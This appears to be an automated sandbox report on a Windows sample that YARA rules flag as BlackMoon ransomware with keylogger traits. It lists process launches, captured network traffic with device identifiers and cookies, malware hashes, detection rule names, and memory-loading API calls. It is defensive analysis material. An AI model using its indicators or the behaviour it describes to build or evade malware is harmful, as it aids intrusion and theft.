2024-10-18 21:46:49 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49887	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:49 UTC	2100	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1729287948225&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2024-10-18 21:46:49 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-10-18 21:46:49 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-10-18 21:46:49 UTC	480	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: EFAFC311BEB44A9A8E764E5475CC484E Ref B: LAX311000112047 Ref C: 2024-10-18T21:46:49Z Date: Fri, 18 Oct 2024 21:46:49 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.07ed0117.1729288009.1cd16904

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:49 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:49 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:49 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: 84139343-001e-0014-7fd8-1e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214649Z-16b659b4499j6gq7pkfa2qzkk40000000b0g000000004bfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:49 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Target ID:	0
Start time:	17:46:03
Start date:	18/10/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe"
Imagebase:	0x400000
File size:	13'843'291 bytes
MD5 hash:	69885C444A95500286EC5FE05E564990
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:46:04
Start date:	18/10/2024
Path:	C:\Users\user\Desktop\ [ ].exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ [ ].exe"
Imagebase:	0x400000
File size:	13'843'291 bytes
MD5 hash:	69885C444A95500286EC5FE05E564990
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:46:28
Start date:	18/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://dl.360safe.com/360c0mpkill5.1.64.1238-0809.zip
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:46:28
Start date:	18/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2044,i,3045292741870776026,11187403840259620879,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	99.2%
Signature Coverage:	15.5%
Total number of Nodes:	361
Total number of Limit Nodes:	26

Executed Functions

Function 02B027E2 Relevance: 26.8, APIs: 5, Strings: 10, Instructions: 581memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00000008,00001000,00000040), ref: 02B02A41
VirtualAlloc.KERNELBASE(?,?,00001000,00000040), ref: 02B02B77
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02B02B8D
LoadLibraryA.KERNELBASE(00000001), ref: 02B02DFA
VirtualAlloc.KERNELBASE(00000000,000000FF,00001000,00000040), ref: 02B02ED4

Strings

ualF, xrefs: 02B029B4
ualA, xrefs: 02B0299B
RtlM, xrefs: 02B02959
eFil, xrefs: 02B029E4
Load, xrefs: 02B028E1
eNam, xrefs: 02B029ED
GetM, xrefs: 02B029D3
Virt, xrefs: 02B02990
odul, xrefs: 02B029DB
GetP, xrefs: 02B02914

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual$LibraryLoad
String ID: GetM$GetP$Load$RtlM$Virt$eFil$eNam$odul$ualA$ualF
API String ID: 2441068224-2330598228
Opcode ID: e95b2be4774fe56dce19853926b31ae9608be0e86b70fc2631ec137b1f0567bd
Instruction ID: 3893e2702114208e97ac90097d25f7d377b83b57f0e90c97efd05168b41b4011
Opcode Fuzzy Hash: e95b2be4774fe56dce19853926b31ae9608be0e86b70fc2631ec137b1f0567bd
Instruction Fuzzy Hash: B4327C70A002059FDB26CF59C8C8BA9BBF1FF44314F1581AAEC54AB391D774E989CB94

Function 02B7A26E Relevance: 9.7, APIs: 6, Instructions: 666
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 02B7A3B1

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: 5a4f93c57f5e3dc53962e8376729a6a8237ccab9fc2165a9941b5e45997a328c
Instruction ID: b868c221caa7e30bc4d3e16cb29bc1dbd69f25ba1a507755a072e81d796f6553
Opcode Fuzzy Hash: 5a4f93c57f5e3dc53962e8376729a6a8237ccab9fc2165a9941b5e45997a328c
Instruction Fuzzy Hash: 4B220BB1A412529BEF00CF68DCC0BA977E5EF59324F2904B4E906AB340D778F961DB61

Function 02B0D790 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(02B0EB27,00000008,?,?,02B0DE78,00000008,00000000,02B01936,00000002,00000000,00000000,80000005,00000000,00000000,80000301), ref: 02B0D799
RtlAllocateHeap.NTDLL(01060000,00000000,80000301), ref: 02B0D7AD
MessageBoxA.USER32(00000000,02B18AE8,error,00000010), ref: 02B0D7C6

Strings

error, xrefs: 02B0D7BB

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: Heap$AllocateMessageProcess
String ID: error
API String ID: 2992861138-1574812785
Opcode ID: 2b3566b805f7531c0793fb955adb222525356b9c5c5ecfcb49b4d7b66c7eb335
Instruction ID: cc8ed1d41470b3bbeb13a2d5319e768a4da6820a146316e424194800a820e63c
Opcode Fuzzy Hash: 2b3566b805f7531c0793fb955adb222525356b9c5c5ecfcb49b4d7b66c7eb335
Instruction Fuzzy Hash: BAE04872FC17116BF6229BA4AC4DF577AA8EB04795F410C94F509D31C0EBB09C109791

Function 02B22280 Relevance: 3.9, APIs: 2, Instructions: 887memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(-00001000,00001000,00000004,?,00000000), ref: 02B22E2C
VirtualProtect.KERNELBASE(-00001000,00001000), ref: 02B22E41

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 091322de107119b8bf95b4d8b0e0a0ec27733f5017c5807d269da0bc0af600d4
Instruction ID: d70f75c013980fb6bfe2609a56c2b026a4e0dacc4659a346dd478b73d51a01bb
Opcode Fuzzy Hash: 091322de107119b8bf95b4d8b0e0a0ec27733f5017c5807d269da0bc0af600d4
Instruction Fuzzy Hash: 93729F315083658FD724CF28C88066ABBE1FF85384F154A6EE9E9CB351E771D949CB42

Function 00E365A0 Relevance: 2.4, APIs: 1, Instructions: 864memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(-00001000,00001000,00000004,?,?), ref: 00E37113

Memory Dump Source

Source File: 00000000.00000002.2106763110.0000000000E36000.00000080.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2083901154.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000041B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000425000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000042A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000434000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000439000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000043E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000443000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000448000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000044D000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000452000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000457000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000045C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000461000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000466000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000046B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000470000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000475000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000047A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000047F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000484000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000489000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000048E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000493000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000498000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000049D000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004A7000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004AC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004B1000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004B6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004BB000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004C0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004C5000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004CA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004CF000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004D4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004D9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004DE000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004E3000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004E8000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004ED000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004F2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004F7000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000004FC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000501000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000506000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000050B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000510000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000515000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000051A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000051F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000524000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000529000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000052E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000533000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000538000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000053D000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000542000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000547000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000054C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000551000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000556000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000055B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000560000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000565000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000056A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000056F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000574000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000579000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000057E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000583000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000588000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000058D000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000592000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000597000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.000000000059C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005A1000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005A6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005AB000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005B0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005B5000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005BA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005BF000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005C4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005C9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005CE000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005D3000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005D8000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005DD000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005E2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.00000000005E7000.00000040.00000001.01000000.00000005.sdmpDownload File
